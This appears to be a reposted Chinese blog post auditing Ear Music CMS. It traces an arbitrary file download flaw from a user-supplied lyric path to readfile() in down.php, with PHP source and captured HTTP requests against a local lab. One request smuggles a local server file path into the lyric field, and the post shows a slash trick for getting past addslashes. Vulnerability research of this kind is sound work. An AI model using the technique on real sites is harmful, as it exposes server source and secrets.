Ear Music CMS代码审计

Ear Music CMS任意文件下载漏洞

用注册的用户上传一首歌,并且用管理员账号通过审核,查看歌曲点击下载lrc歌词,抓包:

GET /earmus/template/default/source/down.php?type=lrc&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/index.php/music/1/
Connection: close

跟踪用到的down.php文件:

<?php
include '../../../source/system/db.class.php';
$type = SafeRequest("type","get");
$id = SafeRequest("id","get");
if($type == 'lrc'){
    
    
        $file = geturl(getfield('music', 'in_lyric', 'in_id', $id), 'lyric');//$file变量来自此处,跟踪一下处理函数
}else{
    
    
        $file = geturl(getfield('video', 'in_play', 'in_id', $id));
}
$headers = get_headers($file, 1);
if(array_key_exists('Content-Length', $headers)){
    
    
        $filesize = $headers['Content-Length'];
}else{
    
    
        $filesize = strlen(@file_get_contents($file));
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($file));
header("Content-Length: ".$filesize);
readfile($file);//此处有readfile函数,变量为$file
?>

PHP readfile() 函数:读取一个文件,并写入到输出缓冲。

函数跟踪:

  • getfield:
function getfield($table, $target, $object, $search, $null=0){
    
    
	global $db;
	$sql = "select ".$target." from ".tname($table)." where ".$object."='".$search."'";//注意此处的sql语句,打开数据库跟踪一下
	if($one = $db->getone($sql)){
    
    
		$field = $one;
	}else{
    
    
		$field = $null;
	}
	return $field;
}

image-20210923084957552

注意我标注的地方lyric,就是最终查询的结果,返回值会返回歌词地址

  • geturl:
function geturl($file, $type=''){
    
    
	if(preg_match('/^data\/attachment/', $file)){
    
    //从得到的歌词地址中判断是否有该目录,基本就可以跳过了
		$url = "http://".$_SERVER['HTTP_HOST'].IN_PATH.$file;
	}elseif(empty($file)){
    
    //我们的变量不为空,也跳过
		switch($type){
    
    
                        case 'lyric':
		                $url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/nolyric.lrc";
		                break;
                        case 'cover':
		                $url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nocover.png";
		                break;
                        case 'avatar':
		                $url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/noavatar.jpg";
		                break;
                        case 'photo':
		                $url = "http://".$_SERVER['HTTP_HOST'].IN_PATH."static/user/images/nophoto.png";
		                break;
                        default:
		                $url = NULL;
		                break;
		}
	}else{
    
    
		$url = $file;//也就是最终走到的是这一步
	}
	return $url;
}

也就是说到了最后,返回值依然是歌词的路径地址

然后我们来读一下这个文件:E:\phpstudy\PHPTutorial\WWW\earmus\source\system\function_common.php

在提交页面抓包看一下我们传入的地址有没有经过过滤:

GET /earmus/source/user/music/ajax.php?ac=add&name=%u97F3%u4E50%u540D%u79F0%3A&classid=1&audio=%u97F3%u4E50%u540D%u79F0%3A&specialid=0&singerid=0&tag=%u97F3%u4E50%u540D%u79F0%3A&cover=%u97F3%u4E50%u540D%u79F0%3A&lyric=E%3A%5Cphpstudy%5CPHPTutorial%5CWWW%5Cearmus%5Csource%5Csystem%5Cfunction_common.php&text=%u97F3%u4E50%u540D%u79F0%3A HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/earmus/user.php/music/add/
Cookie: in_userid=1; in_username=admin; in_userpassword=7a57a5a743894a0e; PHPSESSID=t56rr3oqmer9ntnprhd41mlqd0
Connection: close

跟踪页面:/earmus/source/user/mu0sic/ajax.php

image-20210923112033959

扫描二维码关注公众号,回复: 13596830 查看本文章
function SafeRequest($key, $mode, $type=0){
    
    
	$magic = get_magic_quotes_gpc();
	switch($mode){
    
    
		case 'post':
			$value = isset($_POST[$key]) ? $magic ? trim($_POST[$key]) : addslashes(trim($_POST[$key])) : NULL;
			break;
		case 'get':
			$value = isset($_GET[$key]) ? $magic ? trim($_GET[$key]) : addslashes(trim($_GET[$key])) : NULL;
			break;
	}
	return $type ? $value : htmlspecialchars(str_replace('\\'.'\\', '', $value), ENT_QUOTES, set_chars());
}

//trim() 函数移除字符串两侧的空白字符或其他预定义字符。
//addslashes会将\给转义掉

image-20210923143301503

经过addslashes处理斜杠没了我们可以改用**/**:E:/phpstudy/PHPTutorial/WWW/earmus/source/system/function_common.php

image-20210923152416761

image-20210923152406188

猜你喜欢

转载自blog.csdn.net/qq_50589021/article/details/120470375